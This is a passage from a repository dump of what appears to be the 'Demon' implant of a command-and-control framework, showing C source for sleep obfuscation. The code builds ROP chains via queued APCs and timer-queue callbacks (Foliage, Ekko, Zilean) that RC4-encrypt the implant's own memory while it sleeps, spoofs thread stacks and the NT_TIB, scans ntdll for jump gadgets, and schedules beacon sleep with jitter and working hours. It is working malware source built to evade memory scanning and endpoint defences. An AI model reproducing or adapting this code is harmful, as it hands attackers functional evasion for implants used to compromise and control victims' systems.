CONTEXT_FULL;\n            RopSetMemRw->ContextFlags   = CONTEXT_FULL;\n            RopMemEnc->ContextFlags     = CONTEXT_FULL;\n            RopGetCtx->ContextFlags     = CONTEXT_FULL;\n            RopSetCtx->ContextFlags     = CONTEXT_FULL;\n            RopWaitObj->ContextFlags    = CONTEXT_FULL;\n            RopMemDec->ContextFlags     = CONTEXT_FULL;\n            RopSetMemRx->ContextFlags   = CONTEXT_FULL;\n            RopSetCtx2->ContextFlags    = CONTEXT_FULL;\n            RopExitThd->ContextFlags    = CONTEXT_FULL;\n\n            if ( NT_SUCCESS( SysNtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &hDupObj, THREAD_ALL_ACCESS, 0, 0 ) ) )\n            {\n                if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( hThread, RopInit ) ) )\n                {\n                    MemCopy( RopBegin,    RopInit, sizeof( CONTEXT ) );\n                    MemCopy( RopSetMemRw, RopInit, sizeof( CONTEXT ) );\n                    MemCopy( RopMemEnc,   RopInit, sizeof( CONTEXT ) );\n                    MemCopy( RopGetCtx,   RopInit, sizeof( CONTEXT ) );\n                    MemCopy( RopSetCtx,   RopInit, sizeof( CONTEXT ) );\n                    MemCopy( RopWaitObj,  RopInit, sizeof( CONTEXT ) );\n                    MemCopy( RopMemDec,   RopInit, sizeof( CONTEXT ) );\n                    MemCopy( RopSetMemRx, RopInit, sizeof( CONTEXT ) );\n                    MemCopy( RopSetCtx2,  RopInit, sizeof( CONTEXT ) );\n                    MemCopy( RopExitThd,  RopInit, sizeof( CONTEXT ) );\n\n                    RopBegin->ContextFlags = CONTEXT_FULL;\n                    RopBegin->Rip  = U_PTR( Instance->Win32.NtWaitForSingleObject );\n                    RopBegin->Rsp -= U_PTR( 0x1000 * 13 );\n                    RopBegin->Rcx  = U_PTR( hEvent );\n                    RopBegin->Rdx  = U_PTR( FALSE );\n                    RopBegin->R8   = U_PTR( NULL );\n                    *( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );\n                    // NtWaitForSingleObject( Evt, FALSE, NULL )\n\n                    RopSetMemRw->ContextFlags = CONTEXT_FULL;\n                    RopSetMemRw->Rip  = U_PTR( Instance->Win32.NtProtectVirtualMemory );\n                    RopSetMemRw->Rsp -= U_PTR( 0x1000 * 12 );\n                    RopSetMemRw->Rcx  = U_PTR( NtCurrentProcess() );\n                    RopSetMemRw->Rdx  = U_PTR( &ImageBase );\n                    RopSetMemRw->R8   = U_PTR( &ImageSize );\n                    RopSetMemRw->R9   = U_PTR( PAGE_READWRITE );\n                    *( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );\n                    *( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( &TmpValue );\n                    // NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_READWRITE, NULL,  );\n\n                    RopMemEnc->ContextFlags = CONTEXT_FULL;\n                    RopMemEnc->Rip  = U_PTR( Instance->Win32.SystemFunction032 );\n                    RopMemEnc->Rsp -= U_PTR( 0x1000 * 11 );\n                    RopMemEnc->Rcx  = U_PTR( &Rc4 );\n                    RopMemEnc->Rdx  = U_PTR( &Key );\n                    *( PVOID* )( RopMemEnc->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );\n                    // SystemFunction032( &Rc4, &Key ); RC4 Encryption\n\n                    RopGetCtx->ContextFlags = CONTEXT_FULL;\n                    RopGetCtx->Rip  = U_PTR( Instance->Win32.NtGetContextThread );\n                    RopGetCtx->Rsp -= U_PTR( 0x1000 * 10 );\n                    RopGetCtx->Rcx  = U_PTR( hDupObj );\n                    RopGetCtx->Rdx  = U_PTR( RopCap );\n                    *( PVOID* )( RopGetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );\n                    // NtGetContextThread( Src, Cap );\n\n                    RopSetCtx->ContextFlags = CONTEXT_FULL;\n                    RopSetCtx->Rip  = U_PTR( Instance->Win32.NtSetContextThread );\n                    RopSetCtx->Rsp -= U_PTR( 0x1000 * 9 );\n                    RopSetCtx->Rcx  = U_PTR( hDupObj );\n                    RopSetCtx->Rdx  = U_PTR( RopSpoof );\n                    *( PVOID* )( RopSetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );\n                    // NtSetContextThread( Src, Spf );\n\n                    // NOTE: Here is the thread sleeping...\n                    RopWaitObj->ContextFlags = CONTEXT_FULL;\n                    RopWaitObj->Rip  = U_PTR( Instance->Win32.WaitForSingleObjectEx );\n                    RopWaitObj->Rsp -= U_PTR( 0x1000 * 8 );\n                    RopWaitObj->Rcx  = U_PTR( hDupObj );\n                    RopWaitObj->Rdx  = U_PTR( Param->TimeOut );\n                    RopWaitObj->R8   = U_PTR( FALSE );\n                    *( PVOID* )( RopWaitObj->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );\n                    // WaitForSingleObjectEx( Src, Fbr->Time, FALSE );\n\n                    // NOTE: thread image decryption\n                    RopMemDec->ContextFlags = CONTEXT_FULL;\n                    RopMemDec->Rip  = U_PTR( Instance->Win32.SystemFunction032 );\n                    RopMemDec->Rsp -= U_PTR( 0x1000 * 7 );\n                    RopMemDec->Rcx  = U_PTR( &Rc4 );\n                    RopMemDec->Rdx  = U_PTR( &Key );\n                    *( PVOID* )( RopMemDec->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );\n                    // SystemFunction032( &Rc4, &Key ); Rc4 Decryption\n\n                    // RW -> RWX\n                    RopSetMemRx->ContextFlags = CONTEXT_FULL;\n                    RopSetMemRx->Rip  = U_PTR( Instance->Win32.NtProtectVirtualMemory );\n                    RopSetMemRx->Rsp -= U_PTR( 0x1000 * 6 );\n                    RopSetMemRx->Rcx  = U_PTR( NtCurrentProcess() );\n                    RopSetMemRx->Rdx  = U_PTR( &TxtBase );\n                    RopSetMemRx->R8   = U_PTR( &TxtSize );\n                    RopSetMemRx->R9   = U_PTR( dwProtect );\n                    *( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );\n                    *( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( & TmpValue );\n                    // NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_EXECUTE_READ, & TmpValue );\n\n                    RopSetCtx2->ContextFlags = CONTEXT_FULL;\n                    RopSetCtx2->Rip  = U_PTR( Instance->Win32.NtSetContextThread );\n                    RopSetCtx2->Rsp -= U_PTR( 0x1000 * 5 );\n                    RopSetCtx2->Rcx  = U_PTR( hDupObj );\n                    RopSetCtx2->Rdx  = U_PTR( RopCap );\n                    *( PVOID* )( RopSetCtx2->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );\n                    // NtSetContextThread( Src, Cap );\n\n                    RopExitThd->ContextFlags = CONTEXT_FULL;\n                    RopExitThd->Rip  = U_PTR( Instance->Win32.RtlExitUserThread );\n                    RopExitThd->Rsp -= U_PTR( 0x1000 * 4 );\n                    RopExitThd->Rcx  = U_PTR( ERROR_SUCCESS );\n                    *( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );\n                    // RtlExitUserThread( ERROR_SUCCESS );\n\n                    if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopBegin,    FALSE, NULL ) ) ) goto Leave;\n                    if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRw, FALSE, NULL ) ) ) goto Leave;\n                    if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemEnc,   FALSE, NULL ) ) ) goto Leave;\n                    if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopGetCtx,   FALSE, NULL ) ) ) goto Leave;\n                    if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx,   FALSE, NULL ) ) ) goto Leave;\n                    if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopWaitObj,  FALSE, NULL ) ) ) goto Leave;\n                    if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemDec,   FALSE, NULL ) ) ) goto Leave;\n                    if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRx, FALSE, NULL ) ) ) goto Leave;\n                    if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx2,  FALSE, NULL ) ) ) goto Leave;\n                    if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopExitThd,  FALSE, NULL ) ) ) goto Leave;\n\n                    if ( NT_SUCCESS( SysNtAlertResumeThread( hThread, NULL ) ) )\n                    {\n                        RopSpoof->ContextFlags = CONTEXT_FULL;\n                        RopSpoof->Rip = U_PTR( Instance->Win32.WaitForSingleObjectEx );\n                        RopSpoof->Rsp = U_PTR( Instance->Teb->NtTib.StackBase ); // TODO: try to spoof the stack and remove the pointers\n\n                        // Execute every registered Apc thread\n                        SysNtSignalAndWaitForSingleObject( hEvent, hThread, FALSE, NULL );\n                    }\n                }\n            }\n            \n        }\n    }\n\nLeave:\n    if ( RopExitThd != NULL ) {\n        Instance->Win32.LocalFree( RopExitThd );\n        RopExitThd = NULL;\n    }\n\n    if ( RopSetCtx2 != NULL ) {\n        Instance->Win32.LocalFree( RopSetCtx2 );\n        RopSetCtx2 = NULL;\n    }\n\n    if ( RopSetMemRx != NULL ) {\n        Instance->Win32.LocalFree( RopSetMemRx );\n        RopSetMemRx = NULL;\n    }\n\n    if ( RopMemDec != NULL ) {\n        Instance->Win32.LocalFree( RopMemDec );\n        RopMemDec = NULL;\n    }\n\n    if ( RopWaitObj != NULL ) {\n        Instance->Win32.LocalFree( RopWaitObj );\n        RopWaitObj = NULL;\n    }\n\n    if ( RopSetCtx != NULL ) {\n        Instance->Win32.LocalFree( RopSetCtx );\n        RopSetCtx = NULL;\n    }\n\n    if ( RopSetMemRw != NULL ) {\n        Instance->Win32.LocalFree( RopSetMemRw );\n        RopSetMemRw = NULL;\n    }\n\n    if ( RopBegin != NULL ) {\n        Instance->Win32.LocalFree( RopBegin );\n        RopBegin = NULL;\n    }\n\n    if ( RopSpoof != NULL ) {\n        Instance->Win32.LocalFree( RopSpoof );\n        RopSpoof = NULL;\n    }\n\n    if ( RopCap != NULL ) {\n        Instance->Win32.LocalFree( RopCap );\n        RopCap = NULL;\n    }\n\n    if ( RopInit != NULL ) {\n        Instance->Win32.LocalFree( RopInit );\n        RopInit = NULL;\n    }\n\n    if ( hDupObj != NULL ) {\n        SysNtClose( hDupObj );\n        hDupObj = NULL;\n    }\n\n    if ( hThread != NULL ) {\n        SysNtTerminateThread( hThread, STATUS_SUCCESS );\n        hThread = NULL;\n    }\n\n    if ( hEvent != NULL ) {\n        SysNtClose( hEvent );\n        hEvent = NULL;\n    }\n\n    MemSet( &Rc4, 0, sizeof( USTRING ) );\n    MemSet( &Key, 0, sizeof( USTRING ) );\n    MemSet( &Random, 0, 0x10 );\n\n    Instance->Win32.SwitchToFiber( Param->Master );\n}\n\n/*!\n * @brief\n *  ekko/zilean sleep obfuscation technique using\n *  Timers Api (RtlCreateTimer/RtlRegisterWait)\n *  with stack duplication/spoofing by duplicating the\n *  NT_TIB from another thread.\n *\n * @note\n *  this technique most likely wont work when the\n *  process is also actively using the timers api.\n *  So in future either use Veh + hardware breakpoints\n *  to create our own thread pool or leave it as it is.\n *\n * @param TimeOut\n * @param Method\n * @return\n */\nBOOL TimerObf(\n    _In_ ULONG TimeOut,\n    _In_ ULONG Method\n) {\n    /* Handles */\n    HANDLE   Queue     = { 0 };\n    HANDLE   Timer     = { 0 };\n    HANDLE   ThdSrc    = { 0 };\n    HANDLE   EvntStart = { 0 };\n    HANDLE   EvntTimer = { 0 };\n    HANDLE   EvntDelay = { 0 };\n    HANDLE   EvntWait  = { 0 };\n    UCHAR    Buf[ 16 ] = { 0 };\n    USTRING  Key       = { 0 };\n    USTRING  Img       = { 0 };\n    PVOID    ImgBase   = { 0 };\n    ULONG    ImgSize   = { 0 };\n    CONTEXT  TimerCtx  = { 0 };\n    CONTEXT  ThdCtx    = { 0 };\n    CONTEXT  Rop[ 13 ] = { 0 };\n    ULONG    Value     = { 0 };\n    ULONG    Delay     = { 0 };\n    BOOL     Success   = { 0 };\n    NT_TIB   NtTib     = { 0 };\n    NT_TIB   BkpTib    = { 0 };\n    NTSTATUS NtStatus  = { 0 };\n    ULONG    Inc       = { 0 };\n    LPVOID   ImageBase = { 0 };\n    SIZE_T   ImageSize = { 0 };\n    LPVOID   TxtBase   = { 0 };\n    SIZE_T   TxtSize   = { 0 };\n    ULONG    Protect   = { 0 };\n    BYTE     JmpBypass = { 0 };\n    PVOID    JmpGadget = { 0 };\n    BYTE     JmpPad[]  = { 0xFF, 0xE0 };\n\n    ImageBase = TxtBase = Instance->Session.ModuleBase;\n    ImageSize = TxtSize = Instance->Session.ModuleSize;\n    Protect   = PAGE_EXECUTE_READWRITE;\n    JmpBypass = Instance->Config.Implant.SleepJmpBypass;\n\n    if ( Instance->Session.TxtBase && Instance->Session.TxtSize ) {\n        TxtBase = Instance->Session.TxtBase;\n        TxtSize = Instance->Session.TxtSize;\n        Protect = PAGE_EXECUTE_READ;\n    }\n\n    /* create a random key */\n    for ( BYTE i = 0; i < 16; i++ ) {\n        Buf[ i ] = RandomNumber32( );\n    }\n\n    /* set specific context flags */\n    ThdCtx.ContextFlags = TimerCtx.ContextFlags = CONTEXT_FULL;\n\n    /* set key pointer and size */\n    Key.Buffer = Buf;\n    Key.Length = Key.MaximumLength = sizeof( Buf );\n\n    /* set agent memory pointer and size */\n    Img.Buffer = ImgBase           = Instance->Session.ModuleBase;\n    Img.Length = Img.MaximumLength = ImgSize = Instance->Session.ModuleSize;\n\n    if ( Method == SLEEPOBF_EKKO ) {\n        NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue );\n    } else if ( Method == SLEEPOBF_ZILEAN ) {\n        NtStatus = Instance->Win32.NtCreateEvent( &EvntWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE );\n    }\n\n    if ( NT_SUCCESS( NtStatus ) )\n    {\n        /* create events */\n        if ( NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&\n             NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&\n             NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntDelay, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) )\n        {\n            /* get the context of the Timer thread based on the method used */\n            if ( Method == SLEEPOBF_EKKO ) {\n                NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD );\n            } else if ( Method == SLEEPOBF_ZILEAN ) {\n                NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD );\n            }\n\n            if ( NT_SUCCESS( NtStatus ) )\n            {\n                /* Send event that we got the context of the timers thread */\n                if ( Method == SLEEPOBF_EKKO ) {\n                    NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( EventSet ), EvntTimer, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD );\n                } else if ( Method == SLEEPOBF_ZILEAN ) {\n                    NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( EventSet ), EvntTimer, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD );\n                }\n\n                if ( NT_SUCCESS( NtStatus ) )\n                {\n                    /* wait til we successfully retrieved the timers thread context */\n                    if ( ! NT_SUCCESS( NtStatus = SysNtWaitForSingleObject( EvntTimer, FALSE, NULL ) ) ) {\n                        PRINTF( \"Failed waiting for starting event: %lx\\n\", NtStatus )\n                        goto LEAVE;\n                    }\n\n                    /* if stack spoofing is enabled then prepare some stuff */\n                    if ( Instance->Config.Implant.StackSpoof )\n                    {\n                        /* retrieve Tib if stack spoofing is enabled */\n                        if ( ! ThreadQueryTib( C_PTR( TimerCtx.Rsp ), &NtTib ) ) {\n                            PUTS( \"Failed to retrieve Tib\" )\n                            goto LEAVE;\n                        }\n\n                        /* duplicate the current thread we are going to spoof the stack */\n                        if ( ! NT_SUCCESS( NtStatus = SysNtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &ThdSrc, 0, 0, DUPLICATE_SAME_ACCESS ) ) ) {\n                            PRINTF( \"NtDuplicateObject Failed: %lx\\n\", NtStatus )\n                            goto LEAVE;\n                        }\n\n                        /* NtTib backup */\n                        MemCopy( &BkpTib, &Instance->Teb->NtTib, sizeof( NT_TIB ) );\n                    }\n\n                    /* search for jmp instruction */\n                    if ( JmpBypass )\n                    {\n                        /* change padding to \"jmp rbx\" */\n                        if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) {\n                            JmpPad[ 1 ] = 0x23;\n                        }\n\n                        /* scan memory for gadget */\n                        if ( ! ( JmpGadget = MmGadgetFind(\n                            C_PTR( U_PTR( Instance->Modules.Ntdll ) + LDR_GADGET_HEADER_SIZE ),\n                            LDR_GADGET_MODULE_SIZE,\n                            JmpPad,\n                            sizeof( JmpPad )\n                        ) ) ) {\n                            JmpBypass = SLEEPOBF_BYPASS_NONE;\n                        }\n                    }\n\n                    /* at this point we can start preparing the ROPs and execute the timers */\n                    for ( int i = 0; i < 13; i++ ) {\n                        MemCopy( &Rop[ i ], &TimerCtx, sizeof( CONTEXT ) );\n                        Rop[ i ].Rip  = U_PTR( JmpGadget );\n                        Rop[ i ].Rsp -= sizeof( PVOID );\n                    }\n\n                    /* Start of Ropchain */\n                    OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx );\n                    Rop[ Inc ].Rcx = U_PTR( EvntStart );\n                    Rop[ Inc ].Rdx = U_PTR( INFINITE );\n                    Rop[ Inc ].R8  = U_PTR( FALSE );\n                    Inc++;\n\n                    /* Protect */\n                    OBF_JMP( Inc, Instance->Win32.VirtualProtect );\n                    Rop[ Inc ].Rcx = U_PTR( ImgBase );\n                    Rop[ Inc ].Rdx = U_PTR( ImgSize );\n                    Rop[ Inc ].R8  = U_PTR( PAGE_READWRITE );\n                    Rop[ Inc ].R9  = U_PTR( &Value );\n                    Inc++;\n\n                    /* Encrypt image base address */\n                    OBF_JMP( Inc, Instance->Win32.SystemFunction032 );\n                    Rop[ Inc ].Rcx = U_PTR( &Img );\n                    Rop[ Inc ].Rdx = U_PTR( &Key );\n                    Inc++;\n\n                    /* perform stack spoofing */\n                    if ( Instance->Config.Implant.StackSpoof ) {\n                        OBF_JMP( Inc, Instance->Win32.NtGetContextThread )\n                        Rop[ Inc ].Rcx = U_PTR( ThdSrc  );\n                        Rop[ Inc ].Rdx = U_PTR( &ThdCtx );\n                        Inc++;\n\n                        OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory )\n                        Rop[ Inc ].Rcx = U_PTR( &TimerCtx.Rip );\n                        Rop[ Inc ].Rdx = U_PTR( &ThdCtx.Rip );\n                        Rop[ Inc ].R8  = U_PTR( sizeof( VOID ) );\n                        Inc++;\n\n                        OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory )\n                        Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib );\n                        Rop[ Inc ].Rdx = U_PTR( &NtTib );\n                        Rop[ Inc ].R8  = U_PTR( sizeof( NT_TIB ) );\n                        Inc++;\n\n                        OBF_JMP( Inc, Instance->Win32.NtSetContextThread )\n                        Rop[ Inc ].Rcx = U_PTR( ThdSrc    );\n                        Rop[ Inc ].Rdx = U_PTR( &TimerCtx );\n                        Inc++;\n                    }\n\n                    /* Sleep */\n                    OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx )\n                    Rop[ Inc ].Rcx = U_PTR( NtCurrentProcess() );\n                    Rop[ Inc ].Rdx = U_PTR( Delay + TimeOut );\n                    Rop[ Inc ].R8  = U_PTR( FALSE );\n                    Inc++;\n\n                    /* undo stack spoofing */\n                    if ( Instance->Config.Implant.StackSpoof ) {\n                        OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory )\n                        Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib );\n                        Rop[ Inc ].Rdx = U_PTR( &BkpTib );\n                        Rop[ Inc ].R8  = U_PTR( sizeof( NT_TIB ) );\n                        Inc++;\n\n                        OBF_JMP( Inc, Instance->Win32.NtSetContextThread )\n                        Rop[ Inc ].Rcx = U_PTR( ThdSrc  );\n                        Rop[ Inc ].Rdx = U_PTR( &ThdCtx );\n                        Inc++;\n                    }\n\n                    /* Sys032 */\n                    OBF_JMP( Inc, Instance->Win32.SystemFunction032 )\n                    Rop[ Inc ].Rcx = U_PTR( &Img );\n                    Rop[ Inc ].Rdx = U_PTR( &Key );\n                    Inc++;\n\n                    /* Protect */\n                    OBF_JMP( Inc, Instance->Win32.VirtualProtect )\n                    Rop[ Inc ].Rcx = U_PTR( TxtBase );\n                    Rop[ Inc ].Rdx = U_PTR( TxtSize );\n                    Rop[ Inc ].R8  = U_PTR( Protect );\n                    Rop[ Inc ].R9  = U_PTR( &Value );\n                    Inc++;\n\n                    /* End of Ropchain */\n                    Rop[ Inc ].Rip = U_PTR( Instance->Win32.NtSetEvent );\n                    OBF_JMP( Inc, Instance->Win32.NtSetEvent )\n                    Rop[ Inc ].Rcx = U_PTR( EvntDelay );\n                    Rop[ Inc ].Rdx = U_PTR( NULL );\n                    Inc++;\n\n                    PRINTF( \"Rops to be executed: %d\\n\", Inc )\n\n                    /* execute/queue the timers */\n                    for ( int i = 0; i < Inc; i++ ) {\n                        if ( Method == SLEEPOBF_EKKO ) {\n                            if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ) ) ) {\n                                PRINTF( \"RtlCreateTimer Failed: %lx\\n\", NtStatus )\n                                goto LEAVE;\n                            }\n                        } else if ( Method == SLEEPOBF_ZILEAN ) {\n                            if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) {\n                                PRINTF( \"RtlRegisterWait Failed: %lx\\n\", NtStatus )\n                                goto LEAVE;\n                            }\n                        }\n                    }\n\n                    /* just wait for the sleep to end */\n                    if ( ! ( Success = NT_SUCCESS( NtStatus = SysNtSignalAndWaitForSingleObject( EvntStart, EvntDelay, FALSE, NULL ) ) ) ) {\n                        PRINTF( \"NtSignalAndWaitForSingleObject Failed: %lx\\n\", NtStatus );\n                    }\n                } else {\n                    PRINTF( \"RtlCreateTimer/RtlRegisterWait Failed: %lx\\n\", NtStatus )\n                }\n            } else {\n                PRINTF( \"RtlCreateTimer/RtlRegisterWait Failed: %lx\\n\", NtStatus )\n            }\n        } else {\n            PRINTF( \"NtCreateEvent Failed: %lx\\n\", NtStatus )\n        }\n    } else {\n        PRINTF( \"RtlCreateTimerQueue/NtCreateEvent Failed: %lx\\n\", NtStatus )\n    }\n\nLEAVE: /* cleanup */\n    if ( Queue ) {\n        Instance->Win32.RtlDeleteTimerQueue( Queue );\n        Queue = NULL;\n    }\n\n    if ( EvntTimer ) {\n        SysNtClose( EvntTimer );\n        EvntTimer = NULL;\n    }\n\n    if ( EvntStart ) {\n        SysNtClose( EvntStart );\n        EvntStart = NULL;\n    }\n\n    if ( EvntDelay ) {\n        SysNtClose( EvntDelay );\n        EvntDelay = NULL;\n    }\n\n    if ( EvntWait ) {\n        SysNtClose( EvntWait );\n        EvntWait = NULL;\n    }\n\n    if ( ThdSrc ) {\n        SysNtClose( ThdSrc );\n        ThdSrc = NULL;\n    }\n\n    /* clear the structs from stack */\n    for ( int i = 0; i < 13; i++ ) {\n        RtlSecureZeroMemory( &Rop[ i ], sizeof( CONTEXT ) );\n    }\n\n    /* clear key from memory */\n    RtlSecureZeroMemory( Buf, sizeof( Buf ) );\n\n    return Success;\n}\n\n#endif\n\nUINT32 SleepTime(\n    VOID\n) {\n    UINT32     SleepTime    = Instance->Config.Sleeping * 1000;\n    UINT32     MaxVariation = ( Instance->Config.Jitter * SleepTime ) / 100;\n    ULONG      Rand         = 0;\n    UINT32     WorkingHours = Instance->Config.Transport.WorkingHours;\n    SYSTEMTIME SystemTime   = { 0 };\n    WORD       StartHour    = 0;\n    WORD       StartMinute  = 0;\n    WORD       EndHour      = 0;\n    WORD       EndMinute    = 0;\n\n    if ( ! InWorkingHours() )\n    {\n        /*\n         * we are no longer in working hours,\n         * if the SleepTime is 0, then we will assume the operator is performing some \"important\" task right now,\n         * so we will ignore working hours, and we won't sleep\n         * if the SleepTime is not 0, we will sleep until we are in working hours again\n         */\n        if ( SleepTime )\n        {\n            // calculate how much we need to sleep until we reach the start of the working hours\n            SleepTime = 0;\n\n            StartHour   = ( WorkingHours >> 17 ) & 0b011111;\n            StartMinute = ( WorkingHours >> 11 ) & 0b111111;\n            EndHour     = ( WorkingHours >>  6 ) & 0b011111;\n            EndMinute   = ( WorkingHours >>  0 ) & 0b111111;\n\n            Instance->Win32.GetLocalTime(&SystemTime);\n\n            if ( SystemTime.wHour == EndHour && SystemTime.wMinute > EndMinute || SystemTime.wHour > EndHour )\n            {\n                // seconds until 00:00\n                SleepTime += ( 24 - SystemTime.wHour - 1 ) * 60 + ( 60 - SystemTime.wMinute );\n                // seconds until start of working hours from 00:00\n                SleepTime += StartHour * 60 + StartMinute;\n            }\n            else\n            {\n                // seconds until start of working hours from current time\n                SleepTime += ( StartHour - SystemTime.wHour ) * 60 + ( StartMinute - SystemTime.wMinute );\n            }\n            SleepTime *= 1000;\n        }\n    }\n    // MaxVariation will be non-zero if sleep jitter was specified\n    else if ( MaxVariation )\n    {\n        Rand = RandomNumber32();\n        Rand = Rand % MaxVariation;\n\n        if ( RandomBool() ) {\n            SleepTime += Rand;\n        } else {\n            SleepTime -= Rand;\n        }\n    }\n\n    return SleepTime;\n}\n\nVOID SleepObf(\n    VOID\n) {\n    UINT32 TimeOut   = SleepTime();\n    DWORD  Technique = Instance->Config.Implant.SleepMaskTechnique;\n\n    /* don't do any sleep obf. waste of resources */\n    if ( TimeOut == 0 ) {\n        return;\n    }\n\n#if _WIN64\n\n    if ( Instance->Threads ) {\n        PRINTF( \"Can't sleep obf. Threads running: %d\\n\", Instance->Threads )\n        Technique = 0;\n    }\n\n    switch ( Technique )\n    {\n        case SLEEPOBF_FOLIAGE: {\n            SLEEP_PARAM Param = { 0 };\n\n            if ( ( Param.Master = Instance->Win32.ConvertThreadToFiberEx( &Param, 0 ) ) ) {\n                if ( ( Param.Slave = Instance->Win32.CreateFiberEx( 0x1000 * 6, 0, 0, C_PTR( FoliageObf ), &Param ) ) ) {\n                    Param.TimeOut = TimeOut;\n                    Instance->Win32.SwitchToFiber( Param.Slave );\n                    Instance->Win32.DeleteFiber( Param.Slave );\n                }\n                Instance->Win32.ConvertFiberToThread( );\n            }\n            break;\n        }\n\n        /* timer api based sleep obfuscation */\n        case SLEEPOBF_EKKO:\n        case SLEEPOBF_ZILEAN: {\n            if ( ! TimerObf( TimeOut, Technique ) ) {\n                goto DEFAULT;\n            }\n            break;\n        }\n\n        /* default */\n        DEFAULT: case SLEEPOBF_NO_OBF: {}; default: {\n            SpoofFunc(\n                Instance->Modules.Kernel32,\n                IMAGE_SIZE( Instance->Modules.Kernel32 ),\n                Instance->Win32.WaitForSingleObjectEx,\n                NtCurrentProcess(),\n                C_PTR( TimeOut ),\n                FALSE\n            );\n        }\n    }\n\n#else\n\n    // TODO: add support for sleep obf and spoofing\n\n    Instance->Win32.WaitForSingleObjectEx( NtCurrentProcess(), TimeOut, FALSE );\n\n#endif\n\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/ObjectApi.c",
